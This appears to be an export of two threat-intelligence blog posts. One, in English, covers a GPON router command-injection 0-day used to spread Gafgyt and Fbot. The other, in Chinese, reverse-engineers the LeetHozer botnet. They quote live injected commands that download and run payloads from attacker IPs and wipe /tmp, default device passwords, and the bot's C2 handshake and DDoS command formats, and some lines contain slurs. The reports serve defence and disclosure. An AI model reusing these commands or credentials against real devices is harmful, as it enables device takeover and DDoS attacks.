March 17, we confirmed the exploit was a 0-day and reported the result to CNCERT. We also contacted the vendor but was told this problem should not be happening because the default config of the device should not have this issue (the reality is different) so they won’t take this case from us.\n\n\nOn March 18, the Exploit Database [[4\\]](https://www.exploit-db.com/exploits/48225) website released a Netlink GPON router remote command execution vulnerability PoC, which matches the 0-day vulnerability we observed. However, the PoC lefts out a crucial prerequisite - another vulnerability needs to be used together with this PoC for it to work. So, a successful execution of the injected commands will not have the target device compromised. \n\nOn March 19th, we observed ongoing exploit attempts to propagate Gafgyt botnet samples using the above PoC, and few days later, on March 26, we saw the exploit attempt adopted into Gafgyt bots and bots carried out internet wide scan (worm behavior).\n<a href=\"__GHOST_URL__/content/images/2020/04/image1.png\"><img src=\"__GHOST_URL__/content/images/2020/04/image1.png\" class=\"kg-image\"/></a>\n\nLuckily, unlike Moobot, this botnet author was not aware of the aforementioned precondition, so it did not work out as expected and the scans would mostly fail. \n<a href=\"__GHOST_URL__/content/images/2020/04/scanner.png\"><img src=\"__GHOST_URL__/content/images/2020/04/scanner.png\" class=\"kg-image\"/></a>\n\nOn March 24th, we noticed another wave of exploit attempts to spread the Fbot botnet just like Gafgyt, with same failed outcome(not working).\n\nTill this day, we have discovered that a total of 9 vendors are affected, it is likely most of the vendors are OEM products of the same original vendor.\n\nThe PoC has been published publicly and various botnets are taking advantage of it already, we informed CNCERT all the details, and we think it is necessary to inform the public this ongoing threat. We are not going to share the vendor name though, as we have no idea if there is going to be any action taken by them.\n\n\n### Some of the injected command \n```\n%3Bwget%20http://45.58.148.50/n%20-O-|sh\n%3Bwget%20http://185.61.138.46/n%20-O-|sh\n%3Bwget%20http://194.180.224.13/n%20-O-|sh\n%3Bwget%20http://194.180.224.113/n%20-O-|sh\n;'+payload+'%20/\n;cd /tmp; rm -rf *; busybox wget http://51.254.23.227/bins/n; chmod 777 n; sh n; rm -rf * /\n;cd /tmp; rm -rf *; wget http://51.254.23.227/bins/mips; chmod 777 mips; ./mips; rm -rf * /\n;cd /tmp; rm -rf *; wget http://51.254.23.227/bins/n; chmod 777 n; sh n; rm -rf * /\n;cd /tmp; rm -rf *; wget http://51.254.23.227/bins/netlink; chmod 777 netlink; ./netlink /\n;cd /tmp; rm -rf *; wget http://51.254.23.227/bins/polaris.mips; chmod 777 polaris.mips; ./polaris.mips /\n;cd /tmp; rm -rf *; wget http://6735a55d.ngrok.io/bins/mips; chmod 777 mips; ./mips; rm -rf * /\n;cd /tmp; rm -rf *; wget http://58680dd9.ngrok.io/bins/mips; chmod 777 mips; ./mips; rm -rf * /\n;cd /tmp; rm -rf *; wget http://58680dd9.ngrok.io/bins/sh; chmod 777 sh; sh sh; rm -rf * /\n;cd /tmp; rm -rf mips; wget http://164.132.92.168:6479/bins/mips; busybox wget http://164.132.92.168:6479/bins/mips; chmod 777 mips; ./mips /\n;cd /tmp; rm -rf viktor.mips; wget http://164.132.92.168:6479/bins/viktor.mips; busybox wget http://164.132.92.168:6479/bins/viktor.mips; chmod 777 viktor.mips; ./viktor.mips /\n;ls /\n;wget http://194.180.224.249/bignigger\n;wget http://194.180.224.249/muck.sh -O - | sh\n```\n\n### Vulnerability analysis\n#### Prerequisite\nAs we mentioned above, just utilizing the PoC will not have the desired result, a successful execution needs 2 steps, the first step involves another vulnerability. We are not going to share this part publicly.\n\n#### The Exploitdb PoC\nVulnerability Type: remote command execution\nDetails: The function `formPing()` in the Web server program `/bin/boa`, When it processes the post request from `/boaform/admin/forming`, it did not check the `target_addr` parameters before calling the system ping commands, thereby a command injection becomes possible.\n<a href=\"__GHOST_URL__/content/images/2020/04/ping.png\"><img src=\"__GHOST_URL__/content/images/2020/04/ping.png\" class=\"kg-image\"/></a>\n\n### Suggestions\nWe recommend that users check and update their device firmwares in a timely manner, and check whether there are default accounts that should be disabled.\n\nWe recommend the following IoCs to be monitored and blocked on the networks where it is applicable.\n\nFor users using our DNSmon system, all the Domains have been automatically blocked. \n\n\n### Contact us\nReaders are always welcomed to reach us on [**twitter**](https://twitter.com/360Netlab), or email to netlab at 360 dot cn.\n\n\n\n### IoC list\nC2\n```\nnlocalhost.wordtheminer.com:9746\n164.132.92.173:123\n51.254.23.237:100\nattack.niggers.me:443\n```\n\nMD5\n```\n0a99f9b0472e2e4b9b20657cdde90bbb\n0b00195d6162464cbb058024301fc4f3\n0bd6066e0fab5d189dc32a7025c99b4d\n006581bacd9109b1bf9ee226e4b53c69\n05cbda6d4461900bfedf1d126a1f281a\n05078ea74df7bb588b5bf984dd0c357f\n07b3523f46aa5ed101c0a9f27a0464d9\n089a20cf6b2380348f603acf70d8e998\n0928b37ce3a9198bdc7c3f54baac396a\n1f6874ecffc52d54a4675d7246e326ad\n3c08f24b98fb6f9c6b1c9ff20e5a2d1f\n3cc06f2dc303be2375fef418b58e42ca\n4b4f95d7197f0b0ee84d5ae3941c62b4\n5ed943a527353324fa3192b4aaa39b03\n6fb9a25d3f645ec6e7ed74801fbd3e16\n7ad034dc8413956d480b8f348c890c33\n7cfa0eed3a610e0d8e415110b3e65190\n7e735868bc62ccae67512847b2a75c9d\n8af7c440b85e2c44a2a15fde317c6f65\n8b708283e5515f6b4438224124f671c4\n8be297b73621818d872c711234b3daec\n9a4a798ddabbb58f02773641b618cb74\n9cd6deb2d2637243cb4eb11cac6d5cb2\n18be5888d4e0da8933fced78f9fb0960\n24c328bd0fef770212e3e03be8024993\n24ed1ceccdadc19da00aebc3e769d794\n25e8d81f0c5157adef22a32c74114e8c\n38a6342ed08ccae066858a246d67f73d\n50a997f7b5bd1018946caf9117874227\n55c4ba138f8679fac72b48ab3566d888\n56c71251ebd86c96b6a9c615424a6c8e\n80f210834cbbc5415e6045c24b399835\n82bae571fdfec253fe293311ce4e9c0d\n82cb1a36cc1b659e81e1fe3a5eb5abb6\n83c279c71cea9d8ab5b6bd0b2a5aa0f1\n93f4f875eb0a77abdc138bdd3dc72ec7\n99ee1cc30563217124f11627300661d5\n223cb9629da3f70d145207763f081e01\n413ba8d86b38a04b7263fc8aa8fb14e6\n570dca60a3a719962d92ef4549261903\n592c30e702806f57a9158db25750928c\n723ebfee5a8d7695fcfafffa75fc40ab\n885a52c1950be769b8659889473dc918\n949eed7cfe25e6e340aec864fd4becdb\n1137f1737e59324e1c237cbe8b91bc57\n3386ee08387596f4edc6881caf2407cc\n7472ba599c4e6427ccddeabdc031035d\n9933d4f6dcb59d1344a47a29c79ff619\n73258bf7b4784c551f40cbe672e2748e\n76154ed76f33b66973d119c43200f194\n91558b8e5ea1a892dc21181460c3e0eb\n534798f4d3ea49d6378258358eed10de\n623306bcdb9c7ceef47fb47c3266aee9\n733270de5536997f0b5f23b8b4f21587\n2005292c8c5d4d67b4d051f981a50981\n3404206dc241f0865e6b2091f0e506c6\n6111797820074d3490daedb22003321e\na5c256db29494179e817ea7c1974773e\na2763e44896d946937b5c9f9f3171d95\naa925baa97fab54a80485c82b64104c7\nab6c2fa4af05c20909d1383091287e5b\nb053d3e6d89a26c4c8edf19cde775d90\nb8bfde19f504d0c0e55e830a9439d8d9\nb918ac324f4ea6b1b8773d2899318555\nbc458b7d42cac8d41aa02a752a75542e\nbd2d93ec4eabb6578c370ab5dbc26ded\nc5e508ea2f0c4c34c7917201346b0893\nc6af537d5de188d142658377a51d2212\nc800304fb7e6845986d673ce39cbb2d0\ncb3fdb886b993e6179a24ec733714882\ncdc8cae31e929d99f9aab047329954e5\nd1b97657a7e9c75003e522adf0f606f3\nd8498b50166021c97c153e33088b2b87\ndbb6b9d0bec577e853f85644774608d3\nde6bb3ec243cae920cb70fb52c40e8d2\ndf1e5beba9e9635aa5f072133373d3da\ne01ab8c37afbfcfb19083163c0045495\neee0f46d0739fb37d552f350b0608334\nf80d4bcf45266e62118755f290dd1f51\nfbbab3a8befa60093986c1d447629d7e\nfc397251bde53241f2a3826395eca61b\nfe2c07723d0864bb2c3976058af8c67d\n```\n \n\nURL\n```\nhttp://45.58.148.50/n\nhttp://51.254.23.227/bins/mips\nhttp://51.254.23.227/bins/n\nhttp://51.254.23.227/bins/netlink\nhttp://51.254.23.227/bins/polaris.mips\nhttp://164.132.92.168:6479/bins/mips\nhttp://164.132.92.168:6479/bins/viktor.mips\nhttp://185.61.138.46/n\nhttp://194.180.224.13/n\nhttp://194.180.224.113/n\nhttp://194.180.224.249/bignigger\nhttp://194.180.224.249/muck.sh\nhttp://6735a55d.ngrok.io/bins/mips\nhttp://58680dd9.ngrok.io/bins/mips\nhttp://58680dd9.ngrok.io/bins/sh\n```\n\n\nIP\n```\n185.61.138.46 \tNetherlands \tASN49349 \tDotsi, Unipessoal Lda.\n45.58.148.50 \tUnited States \tASN46844 \tSharktech\n194.180.224.113 \tUnited States \tASN44685 \tPatron Technology Persia Ltd\n194.180.224.13 \tUnited States \tASN44685 \tPatron Technology Persia Ltd\n194.180.224.249 \tUnited States \tASN44685 \tPatron Technology Persia Ltd\n164.132.92.168 \tFrance \tASN16276 \tOVH SAS \n164.132.92.173 \tFrance \tASN16276 \tOVH SAS \n51.254.23.227 \tFrance \tASN16276 \tOVH SAS \n51.254.23.237 \tFrance \tASN16276 \tOVH SAS \n```\n\n\n"}]],"markups":[],"sections":[[10,0],[1,"p",[]]],"ghostVersion":"3.0"} | 5e968b3a7646030007b274c7 |
post | null | 2020-04-22T12:14:12.000Z | 63873b9a8b1c1e0007f52f6d | the-leethozer-botnet | 0 | 2020-04-27T06:23:39.000Z | public | published | null | 2020-04-27T06:23:36.000Z | LeetHozer Botnet分析报告 | <!--kg-card-begin: markdown--><h2 id="">背景</h2>
<p>2020年3月26日我们捕获了一个可疑的样本 <code>11c1be44041a8e8ba05be9df336f9231</code>，大部分杀毒引擎将其识别为Mirai，但是其网络流量却不符合Mirai的特征，这引起了注意，经分析，这是一个复用了Mirai的Reporter，Loader机制，重新设计了加密方法以及C2通信协议的Bot程序。<br>
Mirai已经是安全社区非常熟悉的老朋友，蜜罐系统每天都能捕获大量的Mirai变种，这些变种都非常简单:要么是换一换C2;要么改一改加密的Key;要么集成些新的漏洞扫描……这些入门级的DDoser已经不能引起我们的任何兴趣了。这个Bot程序之所以能在众多变种脱颖而出，一是因为它独特的的加密方法，严谨的通信协议；二是因为在溯源过程中，我们发现它很有可能隶属于Moobot团伙而且正在迭代开发中（就在我们编写本文的同时作者更新了第三个版本，增加了一些新功能，更换了新的Tor CC <code>vbrxmrhrjnnouvjf.onion:31337</code>）。基于这些原因，我们决定将它曝光。因为传播过程中使用<code>H0z3r</code>字串(<code>/bin/busybox wget http://37[.49.226.171:80/bins/mirai.m68k -O - > H0z3r;</code>)，我们将其命名为LeetHozer。目前观测到感染目标主要是<a href="http://www.xiongmaitech.com/en/index.php/news/info/12/68">雄迈旗下的固件版本早于2017年5月的H.264设备和部分固件版本晚于2017年5月H.265设备</a>。其Bot功能主要包括：</p>
<ul>
<li>漏洞扫描，入侵并上报新设备</li>
<li>DDos攻击</li>
</ul>
<h2 id="">传播</h2>
<p>LeetHozer利用目标设备TCP 9530端口的漏洞(后门)开启的telnetd服务，开启成功后通过默认口令登录设备完成感染过程。传播过程如图所示：<br>
<a href="__GHOST_URL__/content/images/2020/04/hozer_flow.png"><img src="__GHOST_URL__/content/images/2020/04/hozer_flow.png" class="kg-image"/></a></p>
<h2 id="9530">关于9530端口漏洞的利用</h2>
<ul>
<li>2017 年安全研究人员披露了该漏洞<a href="https://habr.com/ru/post/332526/">[1]</a>。<a href="https://www.cnblogs.com/mmseh/p/6537924.html">[2]</a>。</li>
<li>2020-02-04 漏洞POC在github上开源<a href="https://habr.com/en/post/486856/">[3]</a>。<a href="https://github.com/Snawoot/hisilicon-dvr-telnet">[4]</a>。</li>
<li>2020-02-11 我们首次看到我们称之为moobot_xor的<a href="__GHOST_URL__/the-botnet-cluster-on-185-244-25-0-24-en/">moobot</a>变种利用该漏洞</li>
<li>2020-03-26 LeetHozer开始利用该漏洞。</li>
</ul>
<p>当前利用该漏洞的源IP还保持在日均4.5k左右。<br>
<a href="__GHOST_URL__/content/images/2020/04/dvr.9530.png"><img src="__GHOST_URL__/content/images/2020/04/dvr.9530.m.png" class="kg-image"/></a></p>
<p>LeetHozer和moobot_xor在9530漏洞利用中使用了同一个独特的字串<code>/bin/busybox DNXXXFF</code>，我们还观察到他们曾经在相同时间点使用了同一个downloader,因此推测moobot_xor和LeetHozer属于同一个组织或者个人。基于这一点，我们将扫描利用TCP 9530端口漏洞的IP都认为是潜在的或已经成为LeetHozer的Bot IP估计，LeetHozer的日活Bot IP可能在4.5k左右。请注意并不是说这些Bot都是通过9530端口感染而来。该团伙也会通过其他漏洞、弱口令等方式传播自己的bot样本。<br>
这个两个家族共用downloader的时间以及downloader如下所示：</p>
<pre><code>date=2020-03-26 08:11:46+08:00 md5=11c1be44041a8e8ba05be9df336f9231 family_name=LeetHozer url=http://185.172[.110.224/ab/i686
date=2020-03-26 08:11:39+08:00 md5=11c1be44041a8e8ba05be9df336f9231 family_name=LeetHozer url=http://185.172[.110.224/ab/i586
date=2020-03-26 08:11:39+08:00 md5=b7b2ae292bf182b0d91535770394ad93 family_name=moobot_xor url=http://185.172[.110.224/ab/arm
</code></pre>
<h2 id="leethozer">当前我们看到的LeetHozer攻击目标</h2>
<pre><code>2020-04-07 37.49.226.171 31337 ddos tcpraw 45.83.128.252 ASN40676 Psychz_Networks
2020-04-07 37.49.226.171 31337 ddos udpplain 172.106.18.210 ASN40676 Psychz_Networks
2020-04-08 37.49.226.171 31337 ddos udpplain 185.172.110.224 ASN206898 Server_Hosting_Pty_Ltd
2020-04-11 w6gr2jqz3eag4ksi.onion 31337 ddos icmpecho 185.38.151.161 ASN25369 Hydra_Communications_Ltd
2020-04-13 37.49.226.171 31337 ddos icmpecho 73.99.44.254 ASN7922 Comcast_Cable_Communications,_LLC
2020-04-13 37.49.226.171 31337 ddos icmpecho 94.174.77.69 ASN5089 Virgin_Media_Limited
2020-04-13 37.49.226.171 31337 ddos udppplain 94.174.77.69 ASN5089 Virgin_Media_Limited
2020-04-16 37.49.226.171 31337 ddos icmpecho 117.27.239.28 ASN133774 Fuzhou
2020-04-16 37.49.226.171 31337 ddos icmpecho 185.172.110.224 ASN206898 Server_Hosting_Pty_Ltd
2020-04-16 37.49.226.171 31337 ddos icmpecho 52.47.76.48 ASN16509 Amazon.com,_Inc.
2020-04-16 37.49.226.171 31337 ddos tcpraw 117.27.239.28 ASN133774 Fuzhou
2020-04-16 37.49.226.171 31337 ddos tcpraw 162.248.93.234 ASN32374 Nuclearfallout_Enterprises,_Inc.
2020-04-16 37.49.226.171 31337 ddos udpplain 71.222.69.77 ASN209 CenturyLink_Communications,_LLC
2020-04-17 37.49.226.171 31337 ddos udpplain 117.27.239.28 ASN133774 Fuzhou
2020-04-18 37.49.226.171 31337 ddos tcpraw 76.164.193.89 ASN36114 Versaweb,_LLC
2020-04-18 37.49.226.171 31337 ddos udpplain 117.27.239.28 ASN133774 Fuzhou
2020-04-18 37.49.226.171 31337 ddos udpplain 66.150.188.101 ASN32374 Nuclearfallout_Enterprises,_Inc.
2020-04-19 37.49.226.171 31337 ddos tcpraw 117.27.239.28 ASN133774 Fuzhou
2020-04-19 37.49.226.171 31337 ddos udpplain 108.61.22.86 ASN20473 Choopa,_LLC
2020-04-19 37.49.226.171 31337 ddos udpplain 108.61.33.194 ASN20473 Choopa,_LLC
2020-04-19 37.49.226.171 31337 ddos udpplain 172.107.228.198 ASN40676 Psychz_Networks
2020-04-19 37.49.226.171 31337 ddos udpplain 192.99.226.11 ASN16276 OVH_SAS
2020-04-19 37.49.226.171 31337 ddos udpplain 209.58.147.245 ASN394380 Leaseweb_USA,_Inc.
2020-04-19 37.49.226.171 31337 ddos udpplain 24.46.209.115 ASN6128 Cablevision_Systems_Corp.
2020-04-19 37.49.226.171 31337 ddos udpplain 71.222.69.77 ASN209 CenturyLink_Communications,_LLC
2020-04-20 37.49.226.171 31337 ddos udpplain 139.28.218.180 ASN9009 M247_Ltd
2020-04-20 37.49.226.171 31337 ddos udpplain 74.91.122.90 ASN14586 Nuclearfallout_Enterprises,_Inc.
2020-04-23 37.49.226.171 31337 ddos icmpecho 162.244.55.107 ASN49544 i3D.net_B.V
2020-04-23 37.49.226.171 31337 ddos udpplain 162.244.55.107 ASN49544 i3D.net_B.V
</code></pre>
<h2 id="">逆向分析</h2>
<p>目前LeetHozer Botnet有2个版本，V2新增了DDos攻击方法，其它方面几乎是一样的。<br>
<a href="__GHOST_URL__/content/images/2020/04/hozer_version.png"><img src="__GHOST_URL__/content/images/2020/04/hozer_version.png" class="kg-image"/></a><br>
下文将以最新版本V2为主，同时也会穿插V1(MD5:<code>11c1be44041a8e8ba05be9df336f9231</code>)，从主机行为，DDos指令格式，网络通信等方面剖析LeetHozer的技术细节。</p>
<blockquote>
<p>MD5: 57212f7e253ecebd39ce5a8a6bd5d2df</p>
<p>ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), statically linked, stripped</p>
<p>Packer: None</p>
<p>Library: uclibc</p>
<p>Version: V2</p>
</blockquote>
<h3 id="">主机行为</h3>
<p>LeetHozer的功能比较简单，运行时会操作watchdog设备，将pid写到入名为<code>.1</code>的文件中，在console中输出出<code>/bin/sh:./a.out:not found</code>字串，迷惑用户。接着开始扫描9530端口，使用漏洞开启telnetd服务，将被感染的设备信息上报给reporter，同时，和C2建立通信，等待指令，准备DDos攻击。</p>
<p>Bot使用自定义的算法加密敏感资源，防止其功能被一眼看破，解密算法如下</p>
<pre><code>xorkey="qE6MGAbI"
def decode_str(ctxt):
for i in range(0,len(xorkey)):
plain=""
size=len(ctxt)
for idx in range(0, size):
ch=ord(ctxt[idx])
ch ^=(ord(xorkey[i]) + idx )
plain += chr(ch)
ctxt=plain
return ctxt
</code></pre>
<p>解密后资源信息如下所示，里面包括了Bot要操作的watchdog设备，C2等，这些信息只有在需要使用时会才会解密。</p>
<table>
<thead>
<tr>
<th><strong>.1</strong></th>
<th><strong>/dev/watchdog</strong></th>
</tr>
</thead>
<tbody>
<tr>
<td><strong>/dev/misc/watchdog</strong></td>
<td><strong>/bin/sh: ./a.out: not found</strong></td>
</tr>
<tr>
<td><strong>w6gr2jqz3eag4ksi.onion</strong></td>
<td></td>
</tr>
</tbody>
</table>
<p>Bot功能具体实现如下所示，</p>
<ol>
<li>
<p>设置watchdog防止设备重启<br>
<a href="__GHOST_URL__/content/images/2020/04/hozer_dog-1.png"><img src="__GHOST_URL__/content/images/2020/04/hozer_dog-1.png" class="kg-image"/></a></p>
</li>
<li>
<p>通过PID文件实现Bot单例<br>
<a href="__GHOST_URL__/content/images/2020/04/hozer_pid-1.png"><img src="__GHOST_URL__/content/images/2020/04/hozer_pid-1.png" class="kg-image"/></a></p>
</li>
<li>
<p>扫描端口&漏洞利用&上报信息</p>
<ul>
<li>
<p>复用了mirai的快速端口扫描，扫描端口为9530<br>
<a href="__GHOST_URL__/content/images/2020/04/hozer_scan.png"><img src="__GHOST_URL__/content/images/2020/04/hozer_scan.png" class="kg-image"/></a></p>
</li>
<li>
<p>利用漏洞开启telnetd服务，用以下的凭证尝试登录。</p>
<pre><code>root:xc3511
root:xmhdipc
root:klv123
root:123456
root:jvbzd
root:hi3518
root:tsgoingon
</code></pre>
</li>
<li>
<p>上报成功登录的设备信息<br>
<a href="__GHOST_URL__/content/images/2020/04/hozer_report.png"><img src="__GHOST_URL__/content/images/2020/04/hozer_report.png" class="kg-image"/></a></p>
</li>
</ul>
</li>
<li>
<p>接收C2指令，准备DDos攻击,不同版本支持的攻击命令有所差异。</p>
<table>
<thead>
<tr>
<th>version</th>
<th>command</th>
</tr>
</thead>
<tbody>
<tr>
<td>V1</td>
<td>tcpraw</td>
</tr>
<tr>
<td>v2</td>
<td>tcpraw;icmpecho;udpplain</td>
</tr>
</tbody>
</table>
<p>但是攻击指令的数据格式是一样的，其结构为<code>Header(6 bytes),Option1,Option2...</code>，其中Option的结构为<code>Type(2 bytes),Len(2 bytes),Subtype(2 bytes),Contents( Len bytes),Padding</code>, 下面以一个实际的攻击指令为例说明解析过程。</p>
<pre><code>00000000: 3E 00 3F 00 3A 00 01 00 08 00 04 00 75 64 70 70 >.?.:.......udpp
00000010: 6C 61 69 6E 00 00 00 00 01 00 0E 00 06 00 31 33 lain..........13
00000020: 39 2E 32 38 2E 32 31 38 2E 31 38 30 00 00 00 00 9.28.218.180....
00000030: 02 00 01 00 0C 00 50 00 02 00 01 00 05 00 64 00 ......P.......d.
----------------------------------------------------------------------------
Header: 3E 00 3F 00 3A 00,小端方式解读数据
0x003E ---- xor key
0x003A ---- 0x3A xor 0x3E = 4 个Option
Opt 1: 01 00 08 00 04 00,小端方式解读数据
0x0001 ----Type 1,Padding 4 bytes
0x0008 ----Content length,len("udpplain") = 8
0x0004 ----Subtype 4,Contents为attack vector
Contents: udpplain
Padding: 00 00 00 00
Opt 2: 01 00 0E 00 06 00,小端方式解读数据
0x0001 ----Type 1,Padding 4 bytes
0x000e ----Content length
0x0006 ----Subtype 6,Contents为attack target
Contents: 139.28.218.180
Padding: 00 00 00 00
Opt 3: 02 00 01 00 0c 00,小端方式解读数据
0x0002 ----Type 2,No Padding
0x0001 ----Type 2 忽略此字段，Contents长度为定长2 bytes
0x000c ----Subtype 0xc,Contents为target port
Contents: 80
Opt 4: 02 00 01 00 05 00,小端方式解读数据
0x0002 ----Type 2,No Padding
0x0001 ----Type 2 忽略此字段，Contenss长度为定长2 bytes
0x0005 ----Subtype 0x05,Contents为攻击时长
Contents: 0x0064
</code></pre>
</li>
</ol>
<h3 id="">通信协议</h3>
<p>LeetHozer使用过2种C2:Tor-C2以及IP-C2，比较奇怪的是在V2的Bot样本中两种C2同时存在，但是Tor-C2所在的的代码分枝不会被执行，我们有理由相信这个Botnet正在迭代开发中。</p>
<ol>
<li>
<p>Tor-C2，V1使用，V2出现但不使用。</p>
<pre><code> w6gr2jqz3eag4ksi.onion:31337
</code></pre>
</li>
<li>
<p>IP-C2，V2使用。</p>
<pre><code>37.49.226.171:31337
</code></pre>
</li>
</ol>
<p>无论是哪种C2，通信协议是一样的，只不过Tor-C2有一个通过Tor proxy建立连接的前置过程。Bot和C2建立连接后得经过2轮交互才真正上线成功。</p>
<ul>
<li>
<p>通过Tor proxy和C2建立连接<br>
<a href="__GHOST_URL__/content/images/2020/04/hozer_proxy.png"><img src="__GHOST_URL__/content/images/2020/04/hozer_proxy.png" class="kg-image"/></a></p>
<p>Bot 样本内嵌代理列表如下</p>
<pre><code> 45.82.176.194:9034
91.236.251.131:9712
18.177.13.247:443
62.109.8.218:8888
82.99.213.98:9191
35.225.55.174:9251
194.99.22.206:9050
45.147.199.142:8060
47.104.188.20:8999
54.149.179.115:9050
195.128.102.178:9050
185.176.25.66:9002
54.188.106.141:9080
193.47.35.56:10000
88.193.137.205:9050
134.209.84.21:9119
194.58.111.244:9050
192.99.161.66:9050
193.47.35.53:9090
167.179.74.97:9251
185.30.228.141:9050
</code></pre>
</li>
<li>
<p>第一轮交互</p>
<p>Bot发送的包长为255字节，前32字节为有效数据，小端方式解释数据<br>
<a href="__GHOST_URL__/content/images/2020/04/hozer_roundone.png"><img src="__GHOST_URL__/content/images/2020/04/hozer_roundone.png" class="kg-image"/></a></p>
<p>一些关键字段的含义</p>
<table>
<thead>
<tr>
<th>offset</th>
<th>length</th>
<th>content</th>
<th>field meaning</th>
</tr>
</thead>
<tbody>
<tr>
<td>0x00</td>
<td>2 bytes</td>
<td>0x8f49</td>
<td>source port</td>
</tr>
<tr>
<td>0x02</td>
<td>2 bytes</td>
<td>0x7a69</td>
<td>hardcode</td>
</tr>
<tr>
<td>0x04</td>
<td>4 bytes</td>
<td>0x00004818</td>
<td>hardcode</td>
</tr>
<tr>
<td>0x0e</td>
<td>2 bytes</td>
<td>0x0001</td>
<td>first round</td>
</tr>
<tr>
<td>0x14</td>
<td>4 bytes</td>
<td>0x0051cc</td>
<td>checksum</td>
</tr>
</tbody>
</table>
<p>其中checksum的计算如下所示</p>
<pre><code>step 1: calc the sum of the first 12 WORD
(0x8f49+0x7a69+0x4818+0x0000+0x0000+0x0000
+0x0001+0x0000+0x0000+0x0000+0x000+0x0000) = 0x000151CB;
step 2:(HWORD(sum) + LWORD(sum)) >> 16
(0x0001+0x51CB) >> 16 = 0;
step 3:(HWORD(sum) + LWORD(sum)) && 0Xffff
(0x0001+0x51cb) && 0xffff = 0x000051cc
</code></pre>
<p>C2回包前32字节为有效数据，包长255字节，小端方式解释数据，Bot会检查其中的2个有效标志，当检查通过时，部分数据将用于第二轮交互。<br>
<a href="__GHOST_URL__/content/images/2020/04/hozer_roundonec.png"><img src="__GHOST_URL__/content/images/2020/04/hozer_roundonec.png" class="kg-image"/></a></p>
<table>
<thead>
<tr>
<th>offset</th>
<th>length</th>
<th>content</th>
<th>field meaning</th>
</tr>
</thead>
<tbody>
<tr>
<td>0x04</td>
<td>4 bytes</td>
<td>0x000070f1</td>
<td>valid flag1</td>
</tr>
<tr>
<td>0x08</td>
<td>4 bytes</td>
<td>0x00004819</td>
<td>valid flag2</td>
</tr>
</tbody>
</table>
</li>
<li>
<p>第二轮交互</p>
<p>Bot发送的包长为255字节，前32字节为有效数据，小端方式解释数据，大部分数据来自一轮的C2的回包。<br>
<a href="__GHOST_URL__/content/images/2020/04/hozer_roundtwo.png"><img src="__GHOST_URL__/content/images/2020/04/hozer_roundtwo.png" class="kg-image"/></a></p>
<table>
<thead>
<tr>
<th>offset</th>
<th>length</th>
<th>content</th>
<th>field meaning</th>
</tr>
</thead>
<tbody>
<tr>
<td>0x00</td>
<td>8 bytes</td>
<td>0x7a697a69,0x000070f1</td>
<td>C2 reply in the round 1</td>
</tr>
<tr>
<td>0x08</td>
<td>4 bytes</td>
<td>0x000070f2</td>
<td>hardcode</td>
</tr>
<tr>
<td>0x0e</td>
<td>2 bytes</td>
<td>0x0002</td>
<td>second round</td>
</tr>
<tr>
<td>0x14</td>
<td>4 bytes</td>
<td>0x00d665</td>
<td>checksum</td>
</tr>
</tbody>
</table>
<p>C2回包前32字节为有效数据，包长255字节，小端方式解释数据，Bot会检查其中的2个有效标志，当检查通过时，Bot的上线过程完成。<br>
<a href="__GHOST_URL__/content/images/2020/04/hozer_roundtwoc.png"><img src="__GHOST_URL__/content/images/2020/04/hozer_roundtwoc.png" class="kg-image"/></a></p>
<table>
<thead>
<tr>
<th>offset</th>
<th>length</th>
<th>content</th>
<th>field meaning</th>
</tr>
</thead>
<tbody>
<tr>
<td>0x04</td>
<td>4 bytes</td>
<td>0x00002775</td>
<td>valid flag1</td>
</tr>
<tr>
<td>0x08</td>
<td>4 bytes</td>
<td>0x000070f2</td>
<td>valid flag2</td>
</tr>
</tbody>
</table>
</li>
</ul>
<p>至此Bot与C2之间的身份查验完成，Bot开始等待C2下发指令，C2回包的第一字节指定了指令的类型。</p>
<ul>
<li>
<p>指令码：<code>0x00</code>表示心跳<br>
<a href="__GHOST_URL__/content/images/2020/04/hozer_heart-1.png"><img src="__GHOST_URL__/content/images/2020/04/hozer_heart-1.png" class="kg-image"/></a></p>
</li>
<li>
<p>指令码：<code>0x01</code>表示上传Bot分组信息<br>
<a href="__GHOST_URL__/content/images/2020/04/hozer_group-1.png"><img src="__GHOST_URL__/content/images/2020/04/hozer_group-1.png" class="kg-image"/></a></p>
</li>
<li>
<p>指令码：<code>非0x00</code>，<code>非0x01</code>，DDos攻击<br>
<a href="__GHOST_URL__/content/images/2020/04/hozer_attack-1.png"><img src="__GHOST_URL__/content/images/2020/04/hozer_attack-1.png" class="kg-image"/></a></p>
</li>
</ul>
<h2 id="">联系我们</h2>
<p>感兴趣的读者，可以在 <a href="https://twitter.com/360Netlab">twitter</a> 或者在微信公众号 360Netlab 上联系我们。</p>
<h2 id="ioclist">IoC list</h2>
<h3 id="c2">C2</h3>
<pre><code>vbrxmrhrjnnouvjf.onion:31337 #v3
37.49.226.171:31337 #v2
w6gr2jqz3eag4ksi.onion:31337 #v1
</code></pre>
<h3 id="md5">MD5</h3>
<pre><code>027d7e1cda6824bc076d0a586ea139f5
05a485caf78eca390439b7c893c0354b
068083b9d0820f3ac9cec10d03705649
08e1b88305ad138a4509fb6b72ae3d31
0a56855a6d56efe409c2b7a4c6113bcf
0dee2c063085d0c5466137a3c32479f2
0eecbfd368f821901f9ba758e267557a
110ec534e1c60fc47f37739f03c1bb6a
1111c252ee54c4a6614498e66cefb4e7
11c1be44041a8e8ba05be9df336f9231
121960341ab64a7e7686373dedfbc058
128a53e447266e4d0e12adb7c0b43159
129f41468303728b029def8dbc910e35
177de1bf8f90cbcea50fd19c1e3e8cfe
17b5d683d7b177760c8a2ffd749650b0
1aba422e02f0fbff5189399e01e272d4
21e7898b4b585b825d120c3b0fed8b8a
242d0c9386f61c3ac9ddcdbcda724f3e
25588d12bdbb4e4b1d946f2d5c89abf3
273afac3320ddceb0e18671a3e878fa3
2f066945cee892cc857d477d97d42d7c
30c60cfb51896e5d06012ec6cf15c588
3525d090ab1ab1739507ae1777a70b95
37d9fd56ce685717f1180615f555754e
3d24b9cafda55909fbfde16a5222b4d8
3f88cbbcaa3e0b410dcdb18ddb68d4c2
4229c19e6e5c2dc8560fae9b35841957
45a30d656b4767bce0058f80b0895a95
4e22d0079c18043b6d9037fb842d94ee
58a13abe621acc532b1b6d26eb121c61
5ed891c31bc86689cb93488f5746404a
5fafdc3e3ed7c38a204234e0146e5663
5fec7347f2a9a2ae798505135a61c47f
60bb6bf05c3e7f6f13f2374511963f79
669e5f3513ebfa9c30766da294036d6e
6c883cf42d63a672815e38223d241662
6e7e638d27971e060aaee1b9ae43fe4a
76d0285f95fbee81cff81948d5a98db0
7b08a0569506174463c83f50f8d65a8f
84d39f46c4694e176d8734dd53a07c2c
